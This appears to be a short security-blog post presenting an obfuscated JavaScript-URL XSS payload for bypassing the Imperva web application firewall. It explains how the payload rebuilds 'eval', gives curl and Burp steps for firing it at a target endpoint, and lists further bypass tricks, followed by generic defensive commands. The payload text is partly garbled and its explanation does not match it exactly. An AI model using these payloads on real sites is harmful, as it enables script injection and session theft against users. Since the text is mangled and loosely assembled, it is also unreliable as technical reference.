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Payload:
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[bash][0]<a href="e+s+v+h+n">v+a+e+s</a>(/infected/.source)" />click
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Understanding the Payload Structure
The payload is an obfuscated JavaScript execution vector designed to bypass Imperva WAF (Web Application Firewall). Hereβs a breakdown:
– Obfuscation via URL encoding (%0A%0D
) β Represents newline and carriage return to evade pattern detection.
– Destructured variable assignment β `var{3:s,2:h,5:a,0:v,4:n,1:e}=’earltv’` rearranges characters to form `eval` dynamically.
– Self-referencing execution β `
[0][v+a+e+s]` constructs `eval` and executes arbitrary code. <h2 style="color: yellow;"> Testing & Verification</h2> <h2 style="color: yellow;">To test WAF bypass payloads safely, use:</h2> [bash] curl -X POST "https://target.com/vulnerable-endpoint" -d "<PAYLOAD>"
Or with Burp Suite:
1. Intercept a request.
2. Insert payload in parameters/headers.
3. Forward and observe WAF response.
Alternative Bypass Techniques
1. Case Manipulation β `JaVaScRiPt:alert(1)`
2. Null Bytes β ``
3. HTML Entities β `javascript&x3A;alert(1)`
Defensive Commands (Linux/Windows)
- Linux (ModSecurity Log Check):
grep "Imperva" /var/log/modsec_audit.log | awk '{print $6}' | sort | uniq -c
- Windows (Block Malicious IPs):
New-NetFirewallRule -DisplayName "Block WAF Bypass" -Direction Inbound -RemoteAddress 123.45.67.89 -Action Block
What Undercode Say
Imperva WAF bypasses highlight the need for layered security. Always:
– Log and Monitor β Use `tcpdump` or Wireshark (tcpdump -i eth0 -w waf_traffic.pcap
).
– Update Rulesets β For Snort:
sudo snort -c /etc/snort/snort.conf -R latest_waf.rules
– Test with YARA β Detect obfuscated JS:
yara -r js_obfuscation.yar /var/www/html/
– Windows Defender Audit β
Get-MpThreatDetection | Where-Object { $_.Name -match "ObfuscatedJS" }
Expected Output:
A secure system logs and blocks anomalous payloads while allowing developers to analyze bypass attempts via tools like grep
, Snort, or PowerShell audits.
References:
Reported By: Zlatanh Bypass – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass β